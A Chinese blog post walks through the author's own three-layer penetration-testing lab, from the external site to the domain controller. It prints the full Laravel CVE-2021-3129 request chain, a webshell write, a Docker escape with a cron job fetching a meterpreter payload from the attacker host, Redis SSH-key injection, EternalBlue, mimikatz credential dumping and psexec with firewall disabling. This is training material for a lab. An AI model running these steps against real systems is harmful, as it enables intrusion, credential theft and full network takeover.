前言
假期马上结束了，闲暇之时我自己尝试着搭建了一个内网渗透的靶场。靶场是根据比较新的漏洞进行搭建的，质量自以为还可以。
目前此靶场已在vulnstack开源，下载链接：http://vulnstack.qiyuanxuetang.net/vuln/detail/9/
文中若有不当之处还请各位大佬多多点评 我的博客：https://whoamianony.top/
整个靶场的网络环境分为三层。从最初的信息收集、外网初探、攻入内网、搭建代理，横向移动，最终拿下域控。整个靶场所涉及的技术点大致如下：
•信息收集：•端口扫描•端口服务识别漏洞利用：•漏洞搜索与利用•Laravel Debug mode RCE（CVE-2021-3129）漏洞利用•Docker逃逸•通达OA v11.3 漏洞利用•Linux环境变量提权•Redis 未授权访问漏洞•Linux sudo权限提升（CVE-2021-3156）漏洞利用•SSH密钥利用•Windows NetLogon 域内权限提升（CVE-2020-1472）漏洞利用•MS14-068漏洞利用构建隧道：•路由转发与代理•二层网络代理•三层网络代理横向移动：•内网（域内）信息收集•MS17-010•Windows系统NTLM与用户凭据获取•SMB Relay攻击•Psexec远控利用•哈希传递攻击（PTH）•WMI利用•DCOM利用权限维持：•黄金票据•白银票据•Sid History
整个网络环境的拓扑图大致如下：
第二层网络中的所有主机皆可以上网，但是位于第三层网络中的所有主机都不与外网相连通，不能上网。
外网渗透
假设渗透的目标客户只给出了一个域名：www.xxxx.com，下面我们要在黑盒的情况下对目标网络进行渗透，最终需要拿下域控制器权限。
直接访问该域名，发现是一个博客的站点：
image-20210225124202225
随便翻翻除了文章写得还不错以外没有发现什么，emmmm......
信息收集
首先得到目标网站的IP为192.168.1.8，然后直接对目标IP进行端口扫描：
代码语言：javascript复制nmap -T4 -sC -sV 192.168.1.8
image-20210225221943741
如上图，目标除了80端口外还开启了22、81和6379端口。查看81端口：
image-20210225124930083
发现是个Laravel的站点，Laravel是一套简洁、开源的PHP Web开发框架，旨在实现Web软件的MVC架构。
而在2021年01月12日，Laravel被披露存在一个远程代码执行漏洞（CVE-2021-3129）。当Laravel开启了Debug模式时，由于Laravel自带的Ignition 组件对file_get_contents()和file_put_contents()函数的不安全使用，攻击者可以通过发起恶意请求，构造恶意Log文件等方式触发Phar反序列化，最终造成远程代码执行。
目标站点的Laravel版本正好在今年刚爆出来的Laravel Debug mode RCE漏洞（CVE-2021-3129）的范围内，该漏洞的体用可以看我的这一篇文章：[《Laravel Debug mode RCE（CVE-2021-3129）漏洞复现》](https://whoamianony.top/2021/01/15/漏洞复现/Laravel/Laravel Debug mode RCE（CVE-2021-3129）利用复现/) ，下面我们尝试进行初步的攻击。
Laravel Debug mode RCE漏洞利用
（1）首先使用 phpggc 工具生成一条laravel中存在的反序列化利用POC（经过编码后的）：
代码语言：javascript复制php -d "phar.readonly=0" ./phpggc Laravel/RCE5 "phpinfo();" --phar phar -o php://output | base64 -w 0 | python -c "import sys;print(''.join(['=' hex(ord(i))[2:] '=00' for i in sys.stdin.read()]).upper())"得到的POC（编码后的）最后面再加一个a，否则最终laravel.log里面将生成两个POC，导致利用失败：
image-20210225125529843
（2）发送如下数据包，将Laravel的原日志文件laravel.log清空：
代码语言：javascript复制POST /_ignition/execute-solution HTTP/1.1Host: 192.168.1.8:81Content-Type: application/jsonContent-Length: 328{ "solution": "Facade\Ignition\Solutions\MakeViewVariableOptionalSolution", "parameters": { "variableName": "username", "viewFile": "php://filter/write=convert.iconv.utf-8.utf-16be|convert.quoted-printable-encode|convert.iconv.utf-16be.utf-8|convert.base64-decode/resource=../storage/logs/laravel.log" }}（3）发送如下数据包，给Log增加一次前缀，用于对齐：
代码语言：javascript复制POST /_ignition/execute-solution HTTP/1.1Host: 192.168.1.8:81Content-Type: application/jsonContent-Length: 163{ "solution": "Facade\Ignition\Solutions\MakeViewVariableOptionalSolution", "parameters": { "variableName": "username", "viewFile": "AA" }}（4）将之前生成的编码后的POC作为viewFile的值，发送数据包：
代码语言：javascript复制POST /_ignition/execute-solution HTTP/1.1Host: 192.168.1.8:81Content-Type: application/jsonContent-Length: 5058{ "solution": "Facade\Ignition\Solutions\MakeViewVariableOptionalSolution", "parameters": { "variableName": "username", "viewFile": "=50=00=44=00=39=00=77=00=61=00=48=00=41=00=67=00=58=00=31=00=39=00=49=00=51=00=55=00=78=00=55=00=58=00=30=00=4E=00=50=00=54=00=56=00=42=00=4A=00=54=00=45=00=......2B=00=57=00=61=00=63=00=4E=00=67=00=49=00=41=00=41=00=41=00=42=00=48=00=51=00=6B=00=31=00=43=00a" }}（5）发送如下数据包，清空对log文件中的干扰字符，只留下POC：
代码语言：javascript复制POST /_ignition/execute-solution HTTP/1.1Host: 192.168.1.8:81Content-Type: application/jsonContent-Length: 299{ "solution": "Facade\Ignition\Solutions\MakeViewVariableOptionalSolution", "parameters": { "variableName": "username", "viewFile": "php://filter/write=convert.quoted-printable-decode|convert.iconv.utf-16le.utf-8|convert.base64-decode/resource=../storage/logs/laravel.log" }}这一步可能会出现异常，导致无法正确清理Log文件。如果出现这种状况，可以重新从第一步开始尝试。
（6）使用 phar:// 进行反序列化，执行任意代码（此时需要使用绝对路径）：
POST /_ignition/execute-solution HTTP/1.1Host: 192.168.1.8:81Content-Type: application/jsonContent-Length: 210{ "solution": "Facade\Ignition\Solutions\MakeViewVariableOptionalSolution", "parameters": { "variableName": "username", "viewFile": "phar:///var/www/storage/logs/laravel.log/test.txt" }}如下图所示，PHPINFO已成功执行，漏洞利用成功：
image-20210225131030344
我们可以利用该漏洞写入Webshell：
代码语言：javascript复制php -d "phar.readonly=0" ./phpggc Laravel/RCE5 "system('echo PD9waHAgZXZhbCgkX1BPU1Rbd2hvYW1pXSk7Pz4=|base64 -d > /var/www/html/shell.php');" --phar phar -o php://output | base64 -w 0 | python -c "import sys;print(''.join(['=' hex(ord(i))[2:] '=00' for i in sys.stdin.read()]).upper())"重复上述利用步骤后，成功写入webshell并连接成功：
image-20210225132343007
我们在使用蚁剑执行命令时发现目标主机的主机名有点显眼，可能我们那下的shell处于一个容器环境：
image-20210225134318558
使用如下命令进行测试，我们发现我们获得的shell确实运行在一个docker容器内：
代码语言：javascript复制cat /proc/self/cgroup
image-20210225135147918
这样好吗，这样不好！下面我们需要docker逃逸来获取目标主机（docker宿主机）的权限。但此时我们所获得的是www-data用户的权限，权限比较低，干不成什么大事，所以要想办法提升一下权限。官方文档中提到了Linux环境变量提权，我们直接使用find命令来搜索具有SUID或4000权限的文件：
代码语言：javascript复制find / -perm -u=s -type f 2>/dev/null通过执行上述命令，攻击者可以遍历任何可执行文件，在这里我们可以看到/home/jobs目录下有一个shell文件，这名字很显眼，并且其具有SUID权限：
image-20210225230027215
于是我们cd到/home/jobs目录下，ls一下，确实看到了名为shell的可执行文件。我们运行一下这个文件：
image-20210225230151256
可以看到shell文件执行了ps命令，并且未使用绝对路径，所以我们可以尝试更改$PATH来执行我们的恶意程序，从而获得目标主机的高权限shell。
首先使用蚁剑反弹一个shell过来，然后在shell中执行如下命令：
代码语言：javascript复制cd /tmpecho "/bin/bash" > pschmod 777 psecho $PATH export PATH=/tmp:$PATH # 将/tmp添加到环境变量中，并且先加载执行/tmp里的程序cd /home/jobs./shell# 然后就获得了root权限，可以执行命令了
image-20210225235405824
如上图所示，成功提升为root权限。
之后为了方便，我们可以使用msf生成一个木马，然后上传到目标主机上执行，来获得一个metasploit的meterpreter，具体步骤略。
利用Docker runC漏洞逃逸
该漏洞（CVE-2019-5736）是2019年爆出的。在Docker 18.09.2之前的版本中使用的runc版本小于1.0-rc6，其允许攻击者重写宿主机上的runc 二进制文件，攻击者可以在宿主机上以root身份执行命令。
利用该漏洞需要满足以下两个条件之一：
•由一个攻击者控制的恶意镜像创建•攻击者具有某已存在容器的写权限，且可通过docker exec进入。
首先下载攻击脚本： https://github.com/Frichetten/CVE-2019-5736-PoC
打开main.go脚本，将脚本中要在目标机上执行的命令修改为反弹shell的命令，IP为攻击机IP，端口为攻击机监听的端口：
image-20210225140204003
执行命令编译生成payload
代码语言：javascript复制CGO_ENABLED=0 GOOS=linux GOARCH=amd64 go build main.go将生成的利用程序main上传到目标主机并赋予权限：
image-20210225153414693
接着在攻击机kali上面启动nc监听：
代码语言：javascript复制nc -lvp 2333接着在目标docker上面运行main文件：
image-20210225153447194
此时，只需等待目标机管理员重启该docker容器，payload就会触发。但是由于某些原因，我们手动重启docker后并未收到目标主机的shell。所以我们只能用另一种方法来逃逸。
Docker 特权模式逃逸
特权模式于版本0.6时被引入Docker，允许容器内的root拥有外部物理机root权限，而此前容器内root用户仅拥有外部物理机普通用户权限。
使用特权模式启动容器，可以获取大量设备文件访问权限。因为当管理员执行docker run —privileged时，Docker容器将被允许访问主机上的所有设备，并可以执行mount命令进行挂载。
当控制使用特权模式启动的容器时，docker管理员可通过mount命令将外部宿主机磁盘设备挂载进容器内部，获取对整个宿主机的文件读写权限，此外还可以通过写入计划任务等方式在宿主机执行命令。
首先我们现在docker中新建一个/hack目录用来挂在文件：
代码语言：javascript复制mkdir /hack
image-20210226000911021
然后 ls /dev 看到/dev目录会发现很多设备文件，
image-20210226000953545
我们可以尝试将 /dev/sda1 挂载到/hack目录里：
代码语言：javascript复制mount /dev/sda1 /hack
image-20210226001041924
如上图所示挂载成功了，此时我们就可以通过访问容器内部的/hack路径来达到访问整个宿主机的目的
在docker容器里挂载一个宿主的本地目录，这样某些容器里输出的文件，就可以在本地目录中打开访问了。
我们可以通过写入计划任务的方式在宿主机执行metasploit生成的命令。
首先使用metasploit的web_delivery模块生成payload命令：
代码语言：javascript复制use exploit/multi/script/web_deliveryset target 6 # 选择目标系统set payload linux/x64/meterpreter/reverse_tcpset lhost 192.168.1.7set lport 4444exploit
image-20210225235725543
如上图，只要将生成的命令再目标主机上执行，便可以得到目标主机的meterpreter。我们将该命令写入宿主机的计划任务中：
代码语言：javascript复制echo '* * * * * wget -qO KdwGEmVm --no-check-certificate http://192.168.1.7:8080/kvMOwncGb; chmod x KdwGEmVm; ./KdwGEmVm& disown' >> /hack/var/spool/cron/root
image-20210226001430302
如下图，宿主机上线meterpreter：
image-20210226001637488
信息收集可得其系统版本为Ubuntu 14.04。
可怪事来了，我们查看了目标宿主机的网络配置后，仅发现了两个内网的网段“192.168.52.1/24”和“192.168.93.1/24”：
image-20210226001755940
那我们访问的192.168.1.8去哪了？
难道目标网站做了反向代理？先别慌，6379端口不是还有一个redis吗，试试存不存在未授权访问吧。
直接在攻击机上连接192.168.1.8:6379上的redis，竟然成功了，毕竟是靶机，就是简单：
image-20210225222512642
有了redis未授权，那么利用就简单了，我们直接往目标主机上写入SSH公钥。
先在攻击机上生成ssh公钥：
代码语言：javascript复制ssh-keygen -t rsa
image-20210225222056239
然后将公钥导入key.txt文件(前后用n换行，避免和Redis里其他缓存数据混合)，再把key.txt文件内容写入目标主机的redis缓冲里：
代码语言：javascript复制(echo -e "nn"; cat /root/.ssh/id_rsa.pub; echo -e "nn") > key.txtcat key.txt | redis-cli -h 192.168.1.8 -x set xxx// -x 代表从标准输入读取数据作为该命令的最后一个参数。
image-20210225222318732
然后使用攻击机连接目标机器Redis，分别执行如下命令将ssh公钥写入目标主机：
代码语言：javascript复制config set dir /root/.ssh # 设置redis的备份路径为/root/.ssh/config set dbfilename authorized_keys # 设置保存文件名为authorized_keyssave # 将数据保存在目标服务器硬盘上
image-20210225222825279
写入成功后直接尝试连接：
代码语言：javascript复制ssh 192.168.1.8
image-20210225223132636
成功连接目标主机。此时查看目标机网络信息，却发现目标主机的网络连接信息全变了，并且发现了我们刚开始访问的“192.168.1.8”，还有另一个内网IP段“192.168.52.1/24”：
image-20210225223315687
系统发行版本也变为了Ubuntu 18.04.5：
image-20210225223705390
看来目标网站应该是做了反向代理了，也就是说此时拿下的Ubuntu 18主机仅仅提供一个代理服务，真正的Web服务器是之前我们拿下的那台宿主机Ubuntu 14主机。为了证实我们的猜想，我查看了Ubuntu 18上的nginx配置文件：
image-20210225224054861
如上图我们发现了nginx反向代理的标志——“proxy_pass”，可知Ubuntu 18服务器上的nginx把80端口上收到的请求转发给了 https://whoamianony.top，将81端口上收到的请求转发给了内网第二层网络的Web服务器192.168.52.20，也就是我们之前Getshell的宿主机Ubuntu 14。
好了，到目前为止我们已经拿下了两台主机：
•DMZ区域的Ubuntu 18：192.168.1.8•第二层网络的Ubuntu 14：192.168.52.20
image-20210226002031820
此时，绘制出网络拓扑图如下：
image-20210226162819930
内网渗透
第二层网络渗透
在DMZ区域Ubuntu 18的meterpreter中添加一个通往192.168.52.1/24网段的路由：
image-20210226003146387
路由转发只能将msfconsole带进内网，而要想将攻击机上的其他攻击程序也带进内网还需要搭建socks代理。我们使用earthworm搭建socks5反向代理服务。
在攻击机上执行如下：
代码语言：javascript复制./ew_for_linux64 -s rcsocks -l 1080 -e 1234在DMZ区域的Ubuntu 18上传ew_for_linux64，并执行如下命令：
代码语言：javascript复制./ew_for_linux64 -s rssocks -d 192.168.1.7 -e 1234
image-20210226003611783
然后配置proxychains，将socks5服务器指向127.0.0.1:1080，之后便可以使用proxychains将我们攻击机上的程序代理进第二层网络（192.168.52.1/24）了。
接着，我们使用metasploit的 auxiliary/scanner/discovery/udp_probe 模块来扫描第二层网络中的主机存活：
代码语言：javascript复制use auxiliary/scanner/discovery/udp_probeset rhosts 192.168.52.1-255set threads 5run
image-20210226103508122
如上图，发现第二层网络中还有一个主机（192.168.52.30），使用nmap进一步扫描该主机的信息：
代码语言：javascript复制proxychains4 nmap -Pn -sT -sV -F -O 192.168.52.30
image-20210226103928940
是一台Windows主机，并且该Windows主机的8080端口上有一个nginx的http服务，在攻击机的浏览器上设置好代理后，成功访问：
image-20210226005517799
image-20210226005633050
是个通达OA，经测试其版本为通达OA V11.3，该版本存在任意用户登录、文件包含和文件上传等多个漏洞。具体漏洞详情可参考：https://blog.csdn.net/szgyunyun/article/details/107104288
下面我们来利用这些漏洞执行命令。首先上传图片马：
image-20210226013822869
如上图上传成功，2102是文件夹名，1811843809|shell.jpg是文件名，要把 | 修改成点。然后利用文件包含漏洞，发送如下请求：
代码语言：javascript复制POST /ispirit/interface/gateway.php HTTP/1.1Host: 192.168.52.30:8080Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: */*User-Agent: python-requests/2.21.0Content-Length: 69Content-Type: application/x-www-form-urlencodedjson={"url":"/general/../../attach/im/2102/1811843809.shell.jpg"}&cmd=whoami
image-20210226014104475
如上图所示，成功执行命令。
之后就是常规操作了，使用metasploit的web_delivery模块生成powershell类型的payload，直接在目标机上执行即可拿下该Windows服务器：
image-20210226023557611
此时，绘制出网络拓扑图如下：
image-20210226163021790
内网信息收集
拿下第二层网络中的Windows 7服务器后，接下来我们对目标内网环境进行信息收集，对目标网络有一个初步的了解：
代码语言：javascript复制ipconfig /all # 查看本机ip，所在域systeminfo # 列出系统信息route print # 打印路由信息net view # 查看局域网内其他主机名arp -a # 查看arp缓存whoaminet start # 查看开启了哪些服务net share # 查看开启了哪些共享net config workstation # 查看计算机名、全名、用户名、系统版本、工作站、域、登录域net user # 查看本机用户列表net user /domain # 查看域用户net localgroup administrators # 查看本地管理员组（通常会有域用户）net view /domain # 查看有几个域net user 用户名 /domain # 获取指定域用户的信息net group /domain # 查看域里面的工作组，查看把用户分了多少组（只能在域控上操作）net group 组名 /domain # 查看域中某工作组net group "domain admins" /domain # 查看域管理员的名字net group "domain computers" /domain # 查看域中的其他主机名net group "domain controllers" /domain # 查看域控制器（可能有多台）
image-20210226025337058
image-20210226025725693
image-20210226025811265
综合上面收集的信息，我们可知，目标网络环境存在一个名为whoamianony.org的域环境，域控制器主机名为DC.whoamianony.org，IP为192.168.93.30，域管理员为Administrator。
抓取域用户密码
接着，我们使用meterpreter上的kiwi模块尝试抓取域用户及域管理员的密码：
代码语言：javascript复制load kiwikiwi_cmd privilege::debugkiwi_cmd sekurlsa::logonPasswords
image-20210226035308799
image-20210226035410520
成功抓取到域用户bunny和域管理员administrator的凭证：
•bunny：Bunny2021•administrator：Whoami2021
第三层网络渗透
现在第二层网络已经渗透完了，我们继续入侵第三层网络（192.168.93.1/24）。
在第二层网络Windows服务器的meterpreter中添加一个通往192.168.93.1/24网段的路由：
image-20210226023959765
路由转发只能将msfconsole带进内网，而要想将攻击机上的其他攻击程序也带进内网还需要搭建socks代理。我们使用earthworm搭建一个二级socks5代理服务。
首先攻击机上执行如下命令添加一个转接隧道，监听1090端口，并将1090端口收到的代理请求发送给1235端口，执行命令：
代码语言：javascript复制./ew_for_linux64 -s lcx_listen -l 1090 -e 1235然后在第二层网络的Windows服务器上传ew_for_Win.exe，并利用ssocksd方式启动999端口的正向socks代理，执行命令：
代码语言：javascript复制ew_for_Win.exe -s ssocksd -l 999最后，在DMZ区域的Ubuntu 18上传ew_for_linux64并利用lcx_slave方式，将攻击机的1235端口与第二层网络Windows 7的999端口连接起来，执行命令：
代码语言：javascript复制./ew_for_linux64 -s lcx_slave -d 192.168.1.7 -e 1235 -f 192.168.52.30 -g 999
image-20210226031636328
然后配置proxychains：
image-20210226032803859
此时，就可以设置proxychains等代理工具，通过访问攻击机的1090端口来使用架设在第二层网络Windows主机上的socks代理服务，来进入第三层网络了。
在第二层网络Windows主机上执行ping命令扫描第三层网络中
接着，我们使用metasploit的 auxiliary/scanner/smb/smb_version 模块（可用来探测Windows主机存活）来扫描第三层网络中的主机存活：
代码语言：javascript复制use auxiliary/scanner/smb/smb_versionset rhosts 192.168.93.1-255set threads 5run
image-20210226111855942
如上图，发现第三层网络中还有两个Windows主机，分别为DC（192.168.93.30）和PC2（192.168.93.40），使用nmap进一步扫描PC2主机信息：
代码语言：javascript复制proxychains4 nmap -Pn -sT -sV 192.168.52.40没发现什么有用的服务，我们直接打一个“永恒之蓝”试试：
代码语言：javascript复制setg Proxies socks5:127.0.0.1:1090use exploit/windows/smb/ms17_010_eternalblueset rhosts 192.168.93.40set payload windows/x64/meterpreter/bind_tcpset rhost 192.168.93.40set lport 4444exploit好家伙！真不容易。这次竟然成功了：
image-20210226034713289
第四台靶机拿下：
image-20210226034751913
此时，绘制出网络拓扑图如下：
image-20210226163205252
进攻域控
现在就剩下域控制器DC了。既然都抓取到域管理员的密码了，那我们直接psexec登陆就得了：
代码语言：javascript复制use exploit/windows/smb/psexecset rhosts 192.168.93.30set SMBUser administratorset SMBPass Whoami2021set payload windows/meterpreter/bind_tcpset rhost 192.168.93.30run
image-20210226040206120
失败了，应该是开了防火墙的原因。
没关系，我们已经有了域控的密码了，就可以控制第二层网络的Windows 7远程关闭域控的防火墙了。首先控制第二层网络的Windows 7与域控建立ipc连接：
代码语言：javascript复制net use \192.168.93.30ipc$ "Whoami2021" /user:"Administrator"
image-20210226040624076
然后执行如下命令，使用sc远程在域制器（192.168.93.30）上创建服务关闭防火墙：
代码语言：javascript复制sc \192.168.93.30 create unablefirewall binpath= "netsh advfirewall set allprofiles state off"sc \192.168.93.30 start unablefirewall
image-20210226040841248
再次尝试执行 exploit/windows/smb/psexec 模块即可成功登录：
image-20210226041841689
成功拿下域控：
到现在为止，三层网络结构中的五台主机已经全部拿下了：
image-20210226041958252
途中session断了好几次，差点气的吐血。
权限维持
太晚了，持久化就先不写了。。。
Ending......
2021年2月26日 04:29
魔怔了，直接玩上瘾了，一夜没睡。
1080x360
夜已深，靶场打完了，从最初的信息收集、外网初探、攻入内网、搭建代理，横向移动，到最终拿下了域控。但整个靶场所涉及的漏洞点我并没有全部测试，为什么呢？因为我要睡觉。
下一篇明天发，记得关注我们！
推荐阅读：
记一次详细的内网渗透过程
内网渗透 | 常用的内网穿透工具使用
内网渗透 | 手把手教你如何进行内网渗透
内网渗透 | 域渗透实操ATT&CK
原创投稿作者：Mr.Anonymous
博客:whoamianony.top
